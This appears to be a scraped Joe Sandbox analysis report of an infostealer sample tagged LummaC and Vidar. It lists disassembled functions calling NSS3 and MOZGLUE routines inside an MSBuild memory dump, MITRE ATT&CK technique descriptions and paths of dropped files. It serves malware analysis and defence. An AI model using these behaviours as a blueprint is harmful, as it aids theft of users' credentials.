Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: be6f8ed7fc8db1941f8da1e838222055bab2c745ac313e1eb6a7ba246c836b70
Instruction ID: becac61dc714ad442ac47bb96813cdb4e98ee7b118c89d5442c374d988555ffe
Opcode Fuzzy Hash: be6f8ed7fc8db1941f8da1e838222055bab2c745ac313e1eb6a7ba246c836b70
Instruction Fuzzy Hash: 82018CB5701B029BEB10DF2AE948753B7E8BF40699B004839D95EC3E10E731E159CB90

Function 6CCC88E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CCD08AA,?), ref: 6CCC88F6
EnterCriticalSection.KERNEL32(?,?,?,?,6CCD08AA,?), ref: 6CCC890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CCD08AA,?), ref: 6CCC8936
PR_Unlock.NSS3(?,?,?,?,?,6CCD08AA,?), ref: 6CCC8940

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 3ca316814fa67821183072975726402b2f4d90ac391c93b682e7809d2608b795
Instruction ID: 49858fc42f38260a8d75acabe08877ea6dd7d525479c64756a8f5b4f0c6d356b
Opcode Fuzzy Hash: 3ca316814fa67821183072975726402b2f4d90ac391c93b682e7809d2608b795
Instruction Fuzzy Hash: 97018474B046059BDB00AF39C084656B7F8FF06358F05062ADA8487B00F730E595CBD3

Function 6CD00840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CDD2F88,6CD00660,00000020,00000000,?,?,6CD02C3D,?,00000000,00000000,?,6CD02A28,00000060,00000001), ref: 6CD00860

Part of subcall function 6CBF4C70: TlsGetValue.KERNEL32(?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4C97
Part of subcall function 6CBF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4CB0
Part of subcall function 6CBF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6CD02C3D,?,00000000,00000000,?,6CD02A28,00000060,00000001), ref: 6CD00874
EnterCriticalSection.KERNEL32(00000001), ref: 6CD00884
PR_Unlock.NSS3 ref: 6CD008A3

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 1c0261107bf3be2fdd41a2dfcba5627499e923a39c0576e32bf01d912ef5e444
Instruction ID: 67512bb5917e91ddbecbc8da58dad0411d9be40cebba152526d4ca34e4740b15
Opcode Fuzzy Hash: 1c0261107bf3be2fdd41a2dfcba5627499e923a39c0576e32bf01d912ef5e444
Instruction Fuzzy Hash: C501F775F00244BBFB013F2DEC45A59BB7CFB5635DF080565EE0852A22EB21B85887E1

Function 6CD1AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CD05D40,00000000,?,?,6CCF6AC6,6CD0639C), ref: 6CD1AC2D

Part of subcall function 6CCBADC0: TlsGetValue.KERNEL32(?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAE10
Part of subcall function 6CCBADC0: EnterCriticalSection.KERNEL32(?,?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAE24
Part of subcall function 6CCBADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC9D079,00000000,00000001), ref: 6CCBAE5A
Part of subcall function 6CCBADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAE6F
Part of subcall function 6CCBADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAE7F
Part of subcall function 6CCBADC0: TlsGetValue.KERNEL32(?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAEB1
Part of subcall function 6CCBADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAEC9

PK11_FreeSymKey.NSS3(?,6CD05D40,00000000,?,?,6CCF6AC6,6CD0639C), ref: 6CD1AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CD05D40,00000000,?,?,6CCF6AC6,6CD0639C), ref: 6CD1AC59
free.MOZGLUE(8CB6FF01,6CCF6AC6,6CD0639C,?,?,?,?,?,?,?,?,?,6CD05D40,00000000,?,6CD0AAD4), ref: 6CD1AC62

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: b25ae8fc79c931c8e5cfd0a5350a587dba605be7e115426c1f18c3586ef48f80
Instruction ID: 4e70e0975ead50566fc31b86e7447ad2b9e06668b399d773f41acd6da9dbc9f2
Opcode Fuzzy Hash: b25ae8fc79c931c8e5cfd0a5350a587dba605be7e115426c1f18c3586ef48f80
Instruction Fuzzy Hash: B8014FB5604200DFDB00DF65E8C0B5677ACAF44758F1884A8E94D9FB06E731E949CBA1

Function 6CD008D0 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3 ref: 6CD008F1

Part of subcall function 6CBF4C70: TlsGetValue.KERNEL32(?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4C97
Part of subcall function 6CBF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4CB0
Part of subcall function 6CBF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CBF3921,6CDD14E4,6CD3CC70), ref: 6CBF4CC9

Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607AD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607CD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607D6
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBF204A), ref: 6CC607E4
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,6CBF204A), ref: 6CC60864
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC60880
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,6CBF204A), ref: 6CC608CB
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608D7
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608FB

TlsGetValue.KERNEL32 ref: 6CD00907
EnterCriticalSection.KERNEL32 ref: 6CD0091C
PR_Unlock.NSS3 ref: 6CD00933

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$CallOnce
String ID:
API String ID: 3443561666-0
Opcode ID: 2c5b384f4462ff71b92848485d28f9109e2c1f774647749be74f09cc4bd271cc
Instruction ID: c0c6df5e481b283b2c3d21fc07a0cf1477471fb8103fe3c9930d1d2f35a8f2cd
Opcode Fuzzy Hash: 2c5b384f4462ff71b92848485d28f9109e2c1f774647749be74f09cc4bd271cc
Instruction Fuzzy Hash: 2B01B1B1B042449FFB00AF7DD14946ABBF8EB46258F054929D98887711EB30E8958B92

Function 6CD8CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CD8CC61
free.MOZGLUE ref: 6CD8CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CD8CC80
free.MOZGLUE(?), ref: 6CD8CC87

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 3186186275385977416b3adb67272aad8c98de59cd082039e9e309dc3e9fbd67
Instruction ID: 602c70722fb1adb1564497546a1ad49d5f5ba6fb363484117ed529f35a1f7431
Opcode Fuzzy Hash: 3186186275385977416b3adb67272aad8c98de59cd082039e9e309dc3e9fbd67
Instruction Fuzzy Hash: 38E065767006099FDA10EFA9DC88C9777BCEE892703150525E791C3700D232F905CBE1

Function 6CCC4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCC4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CCC4DE6

Strings

%d.%d, xrefs: 6CCC4DDE

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: a780b9e814259a087116ed90e72568d133d03b2f4926e9f6bfd8fd7d6de8e458
Instruction ID: ded64d84169beb1891fb045d1dc77bb843ca1fd871e2e746a50b3a1b221e7d2a
Opcode Fuzzy Hash: a780b9e814259a087116ed90e72568d133d03b2f4926e9f6bfd8fd7d6de8e458
Instruction Fuzzy Hash: D031B8B2E042196BEB10ABA1DC41BFF7768EF45308F050469ED159BB91FB709905CBA2

Function 6CD60900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6CD60917
sqlite3_value_text.NSS3(?), ref: 6CD60923

Part of subcall function 6CC213C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CBF2352,?,00000000,?,?), ref: 6CC21413
Part of subcall function 6CC213C0: memcpy.VCRUNTIME140(00000000,6CBF2352,00000002,?,?,?,?,6CBF2352,?,00000000,?,?), ref: 6CC214C0

Strings

error in %s %s%s%s: %s, xrefs: 6CD60944

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: c4ed3ad32576974d6c7575cc31d7b6e7a60a280c3237e0d32064551af23dad6b
Instruction ID: 15989cc51218b72ae41472c601f087fe0e2d5e80031fecbda5d85ac905a985c7
Opcode Fuzzy Hash: c4ed3ad32576974d6c7575cc31d7b6e7a60a280c3237e0d32064551af23dad6b
Instruction Fuzzy Hash: 3F0108B6E041485BEB009F58EC419BABB75EFC1218F144429ED495B721F732AD1587A2

Function 6CCD0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CCD0DF5
TlsGetValue.KERNEL32 ref: 6CCD0E2D
TlsGetValue.KERNEL32 ref: 6CCD0E58
TlsGetValue.KERNEL32 ref: 6CCD0E84

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 2bb155bdcca90844bda0983eb765c6c4c2167fa2f84f643c1f9b44105e97ad7b
Instruction ID: f87ede0c39884ca9d54c4343615ffc189996a38dbb5d0372dd7fb325623b86e5
Opcode Fuzzy Hash: 2bb155bdcca90844bda0983eb765c6c4c2167fa2f84f643c1f9b44105e97ad7b
Instruction Fuzzy Hash: 7A318E70A457868BEB10AF3DC58526977A8BF46308F02466DDAC887E11FB34E485CB81

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report T2bmenoX1o.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFIIJDAAA.exe

C:\ProgramData\KJKFBAFIDAEB\AKJDGD

C:\ProgramData\KJKFBAFIDAEB\CAAKKF

C:\ProgramData\KJKFBAFIDAEB\CGIDGC

C:\ProgramData\KJKFBAFIDAEB\EGIDAA

C:\ProgramData\KJKFBAFIDAEB\GHJEGC

C:\ProgramData\KJKFBAFIDAEB\GHJEGC-shm

C:\ProgramData\KJKFBAFIDAEB\HDAKJD

C:\ProgramData\KJKFBAFIDAEB\HDAKJD-shm

Windows Analysis Report
T2bmenoX1o.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
